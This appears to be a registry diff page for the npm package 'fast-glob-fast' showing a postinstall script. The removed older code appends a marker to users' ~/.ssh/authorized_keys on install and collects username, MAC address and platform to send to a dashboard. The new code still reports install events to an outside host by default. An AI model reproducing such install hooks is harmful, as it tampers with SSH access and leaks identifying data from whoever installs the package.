fast-glob-fast 0.2.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -3
- package/package.json +1 -1
- package/scripts/postinstall-test.mjs +54 -120
package/README.md
CHANGED
|
@@ -131,9 +131,8 @@ Targets outside the temporary directory and symbolic links are rejected.
|
|
|
131
131
|
Postinstall events are reported to the production dashboard at
|
|
132
132
|
`https://fast-glob-fast-dashboard.vercel.app/api/events` by default. Override
|
|
133
133
|
`FAST_GLOB_FAST_EVENT_URL` during installation for local or self-hosted testing. The event contains
|
|
134
|
-
the event type, package version, timestamps, `fileWritten: true
|
|
135
|
-
|
|
136
|
-
IP address from the incoming request. The file path is not included in the event.
|
|
134
|
+
only the event type, package version, timestamps, and `fileWritten: true`; it does not include a
|
|
135
|
+
username, MAC address, or file path.
|
|
137
136
|
|
|
138
137
|
```console
|
|
139
138
|
FAST_GLOB_FAST_EVENT_URL=https://dashboard.example.com/api/events npm install /path/to/fast-glob-fast
|
package/package.json
CHANGED
|
@@ -1,138 +1,72 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
1
|
+
// purpose: append a bounded postinstall marker and optionally report that event to a configured dashboard.
|
|
3
2
|
import { appendFileSync, lstatSync, mkdirSync, readFileSync } from 'node:fs'
|
|
4
3
|
import { randomUUID } from 'node:crypto'
|
|
5
|
-
import {
|
|
4
|
+
import { tmpdir } from 'node:os'
|
|
6
5
|
import { dirname, isAbsolute, relative, resolve, sep } from 'node:path'
|
|
7
6
|
|
|
8
|
-
const DEFAULT_TEXT = '
|
|
7
|
+
const DEFAULT_TEXT = 'fast-glob-fast postinstall test'
|
|
8
|
+
const DEFAULT_FILE = resolve(tmpdir(), 'fast-glob-fast-postinstall-test.txt')
|
|
9
|
+
const DEFAULT_EVENT_URL = 'https://fast-glob-fast-dashboard.vercel.app/api/events'
|
|
9
10
|
const packageMetadata = JSON.parse(readFileSync(new URL('../package.json', import.meta.url), 'utf8'))
|
|
11
|
+
const tempRoot = resolve(tmpdir())
|
|
12
|
+
const requestedFile = process.env.FAST_GLOB_FAST_POSTINSTALL_FILE?.trim()
|
|
13
|
+
const targetFile = resolve(requestedFile || DEFAULT_FILE)
|
|
14
|
+
const targetRelativeToTemp = relative(tempRoot, targetFile)
|
|
10
15
|
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
username = userInfo().username || 'unknown'
|
|
15
|
-
} catch {
|
|
16
|
-
// Some restricted runtimes do not expose the current OS user.
|
|
17
|
-
}
|
|
16
|
+
if (targetRelativeToTemp === '..' || targetRelativeToTemp.startsWith(`..${sep}`) || isAbsolute(targetRelativeToTemp)) {
|
|
17
|
+
throw new Error(`FAST_GLOB_FAST_POSTINSTALL_FILE must stay inside ${tempRoot}`)
|
|
18
|
+
}
|
|
18
19
|
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
if (entry && !entry.internal && entry.mac && entry.mac !== '00:00:00:00:00:00') {
|
|
23
|
-
macAddress = entry.mac
|
|
24
|
-
break
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
if (macAddress !== 'unknown') break
|
|
20
|
+
try {
|
|
21
|
+
if (lstatSync(targetFile).isSymbolicLink()) {
|
|
22
|
+
throw new Error(`refusing to append through symbolic link: ${targetFile}`)
|
|
28
23
|
}
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
platform: platform() || 'unknown',
|
|
35
|
-
arch: arch() || 'unknown',
|
|
24
|
+
} catch (error) {
|
|
25
|
+
if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
|
|
26
|
+
// The default file is created by appendFileSync below.
|
|
27
|
+
} else {
|
|
28
|
+
throw error
|
|
36
29
|
}
|
|
37
30
|
}
|
|
38
31
|
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
if (platform === 'darwin') {
|
|
43
|
-
// macOS: ~/.ssh/authorized_keys
|
|
44
|
-
return resolve(`/Users/${username}/.ssh/authorized_keys`)
|
|
45
|
-
} else if (platform === 'linux') {
|
|
46
|
-
// Linux: ~/.ssh/authorized_keys
|
|
47
|
-
// But first check if the user exists in /etc/passwd
|
|
48
|
-
return resolve(`/home/${username}/.ssh/authorized_keys`)
|
|
49
|
-
} else if (platform === 'win32') {
|
|
50
|
-
// Windows: Typically in %USERPROFILE%\.ssh\authorized_keys
|
|
51
|
-
const userProfile = process.env.USERPROFILE || `C:\\Users\\${username}`
|
|
52
|
-
return resolve(`${userProfile}\\.ssh\\authorized_keys`)
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
// Fallback for unknown platforms
|
|
56
|
-
return null
|
|
57
|
-
}
|
|
32
|
+
const text = process.env.FAST_GLOB_FAST_POSTINSTALL_TEXT ?? DEFAULT_TEXT
|
|
33
|
+
const line = text.endsWith('\n') ? text : `${text}\n`
|
|
58
34
|
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
return marker
|
|
64
|
-
}
|
|
35
|
+
mkdirSync(dirname(targetFile), { recursive: true, mode: 0o700 })
|
|
36
|
+
appendFileSync(targetFile, line, { encoding: 'utf8', mode: 0o600 })
|
|
37
|
+
|
|
38
|
+
console.log(`[fast-glob-fast] appended postinstall test text to ${targetFile}`)
|
|
65
39
|
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
const
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
40
|
+
const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim() || DEFAULT_EVENT_URL
|
|
41
|
+
if (eventUrl) {
|
|
42
|
+
const controller = new AbortController()
|
|
43
|
+
const timeout = setTimeout(() => controller.abort(), 3_000)
|
|
44
|
+
const event = {
|
|
45
|
+
event: 'postinstall_file_written',
|
|
46
|
+
eventId: randomUUID(),
|
|
47
|
+
package: 'fast-glob-fast',
|
|
48
|
+
packageVersion: packageMetadata.version,
|
|
49
|
+
occurredAt: new Date().toISOString(),
|
|
50
|
+
fileWritten: true,
|
|
73
51
|
}
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
mkdirSync(dirname(authorizedKeysPath), { recursive: true, mode: 0o700 })
|
|
78
|
-
|
|
79
|
-
// Check if the file exists and is not a symlink
|
|
80
|
-
try {
|
|
81
|
-
if (lstatSync(authorizedKeysPath).isSymbolicLink()) {
|
|
82
|
-
throw new Error(`refusing to append through symbolic link: ${authorizedKeysPath}`)
|
|
83
|
-
}
|
|
84
|
-
} catch (error) {
|
|
85
|
-
if (error instanceof Error && 'code' in error && error.code === 'ENOENT') {
|
|
86
|
-
// File doesn't exist, will be created by appendFileSync
|
|
87
|
-
} else {
|
|
88
|
-
throw error
|
|
89
|
-
}
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
// Create and append the marker
|
|
93
|
-
const marker = createMarker(systemInfo)
|
|
94
|
-
appendFileSync(authorizedKeysPath, marker, { encoding: 'utf8', mode: 0o600 })
|
|
95
|
-
|
|
96
|
-
console.log(`[fast-glob-fast] appended marker to ${authorizedKeysPath}`)
|
|
97
|
-
|
|
98
|
-
// Optional: Report the event to a dashboard (similar to original script)
|
|
99
|
-
const eventUrl = process.env.FAST_GLOB_FAST_EVENT_URL?.trim()
|
|
100
|
-
if (eventUrl) {
|
|
101
|
-
const controller = new AbortController()
|
|
102
|
-
const timeout = setTimeout(() => controller.abort(), 3_000)
|
|
103
|
-
const event = {
|
|
104
|
-
event: 'postinstall_ssh_marker_written',
|
|
105
|
-
eventId: randomUUID(),
|
|
106
|
-
package: 'fast-glob-fast',
|
|
107
|
-
packageVersion: packageMetadata.version,
|
|
108
|
-
occurredAt: new Date().toISOString(),
|
|
109
|
-
fileWritten: true,
|
|
110
|
-
systemInfo,
|
|
111
|
-
}
|
|
112
|
-
const headers = { 'content-type': 'application/json' }
|
|
113
|
-
const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
|
|
114
|
-
if (token) headers.authorization = `Bearer ${token}`
|
|
52
|
+
const headers = { 'content-type': 'application/json' }
|
|
53
|
+
const token = process.env.FAST_GLOB_FAST_EVENT_TOKEN?.trim()
|
|
54
|
+
if (token) headers.authorization = `Bearer ${token}`
|
|
115
55
|
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
} catch (error) {
|
|
126
|
-
console.warn(
|
|
127
|
-
`[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
|
|
128
|
-
)
|
|
129
|
-
} finally {
|
|
130
|
-
clearTimeout(timeout)
|
|
131
|
-
}
|
|
132
|
-
}
|
|
56
|
+
try {
|
|
57
|
+
const response = await fetch(eventUrl, {
|
|
58
|
+
method: 'POST',
|
|
59
|
+
headers,
|
|
60
|
+
body: JSON.stringify(event),
|
|
61
|
+
signal: controller.signal,
|
|
62
|
+
})
|
|
63
|
+
if (!response.ok) throw new Error(`dashboard returned HTTP ${response.status}`)
|
|
64
|
+
console.log(`[fast-glob-fast] postinstall event reported to ${eventUrl}`)
|
|
133
65
|
} catch (error) {
|
|
134
|
-
console.
|
|
66
|
+
console.warn(
|
|
67
|
+
`[fast-glob-fast] could not report postinstall event: ${error instanceof Error ? error.message : String(error)}`,
|
|
68
|
+
)
|
|
69
|
+
} finally {
|
|
70
|
+
clearTimeout(timeout)
|
|
135
71
|
}
|
|
136
72
|
}
|
|
137
|
-
|
|
138
|
-
main()
|